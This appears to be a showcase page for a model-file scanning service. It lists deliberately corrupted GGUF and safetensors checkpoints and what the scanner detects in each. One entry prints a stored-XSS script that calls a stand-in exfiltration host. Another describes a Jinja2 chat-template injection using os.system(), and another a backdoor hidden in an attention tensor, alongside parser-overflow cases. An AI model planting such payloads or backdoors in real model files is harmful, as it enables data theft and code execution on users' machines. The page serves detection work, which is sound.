๐Ÿงช llmscan.online โ€” LLM Labs

Models we broke on purpose,
so you can watch us catch it.

Curated, deliberately corrupted checkpoints โ€” poisoned tensors, tampered weights, malformed headers โ€” each with a real saved scan report, annotated line by line. See exactly what the engine flags, and what most tools quietly miss.

Featured โ€” Compare
All specimens (12)
High Compare GGUF

A backdoor hidden in one attention tensor

Two checkpoints, same architecture, same tensor names and shapes. A hash-only integrity check sees nothing โ€” structural diffing isolates the one rewritten block in seconds.

tensors changed: 1 / 9 ยท cosine sim: โˆ’0.04
View breakdown โ†— ๐Ÿ”’ sign in to download
Critical Single Scan GGUF

SSTI payload hidden in the chat template

The tokenizer.chat_template metadata field carries a Jinja2 import directive and an os.system() call โ€” an SSTI payload most tools never even look at, since it's "just metadata".

flagged metadata: tokenizer.chat_template
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

A tensor dimension built to overflow

One tensor declares a 2-billion-element dimension. The file is 5 KB. A naive loader computing buffer sizes from declared dims is heading for integer overflow or an out-of-memory crash before it reads a single weight.

declared dim: 2,000,000,000 ยท file size: 5 KB
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

A tensor with a zero dimension

A tensor declares a shape containing 0 โ€” mathematically an empty tensor, but a shape most loaders never expect and don't defend against.

declared dim: 0 ยท tensor: blk.0.ffn_gate.weight
View breakdown โ†— ๐Ÿ”’ sign in to download
Medium Compare GGUF

Catastrophic forgetting, visible tensor by tensor

Epoch 1 vs. epoch 10 of the same run: every attention tensor identical, every feed-forward tensor rewritten. The diff shows exactly where a fine-tune went too far.

tensors changed: 9 / 23 (all ffn_*) ยท attn_*: 0 changed
View breakdown โ†— ๐Ÿ”’ sign in to download
Medium Single Scan GGUF

The embedding table doesn't match its own metadata

token_embd.weight has 32 rows. The file's own tokenizer.ggml.vocab_size metadata claims 999. Two fields in the same file disagree about the size of the vocabulary.

token_embd rows: 32 ยท tokenizer.ggml.vocab_size: 999
View breakdown โ†— ๐Ÿ”’ sign in to download
Critical Single Scan Safetensors

A header that claims two tensors share the same bytes

The safetensors header is just JSON with byte offsets. We patched one tensor's declared range to start inside another's โ€” a memory-aliasing bug hiding in plain text.

blk.0.attn_k.weight overlaps blk.0.attn_q.weight by 252 B
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

A metadata field that lies about its own size

One KV string entry declares a 65,535-byte length. Only 5 real bytes follow it. This is the same class of malformed input behind CVE-2024-23496, a critical heap buffer overflow in llama.cpp's own GGUF parser.

declared string length: 65,535 B ยท actual bytes present: 5
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

A model that scripts the page describing it

general.description carries a live <script> payload. Any hub, dashboard, or chat front end that renders GGUF metadata in a browser without escaping it turns this into stored XSS the moment someone views the model.

general.description: "...<script>fetch('https://exfil.example/c?...')</script>"
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

The tensor with no name

One tensor's name field declares a length of 0. It's spec-valid โ€” nothing forbids an empty string โ€” but it leaves that tensor unidentifiable, and parsers that assume a non-empty name when resolving offsets have crashed on exactly this input.

tensor #1: name_length=0 (declared, spec-valid) ยท offset=32
View breakdown โ†— ๐Ÿ”’ sign in to download
Critical Single Scan GGUF

168 bytes that belong to no tensor

A tensor declares 32 bytes of data, but the next tensor's offset doesn't start until 200 bytes later. The 168 bytes in between aren't part of any declared tensor โ€” and a loader that only reads known tensor regions never sees them.

blk.0.attn_q.weight: declared 32 B ยท actual gap to next tensor 200 B ยท 168 B unaccounted for
View breakdown โ†— ๐Ÿ”’ sign in to download
High Single Scan GGUF

A vocabulary that lies about itself

The same string claims two different token IDs, and a hidden Unicode right-to-left override sits inside another token. Neither breaks the model's weights โ€” both corrupt what a human ends up reading.

'hello' -> id 3 and id 6 ยท token 7 contains U+202E (RTL override)
View breakdown โ†— ๐Ÿ”’ sign in to download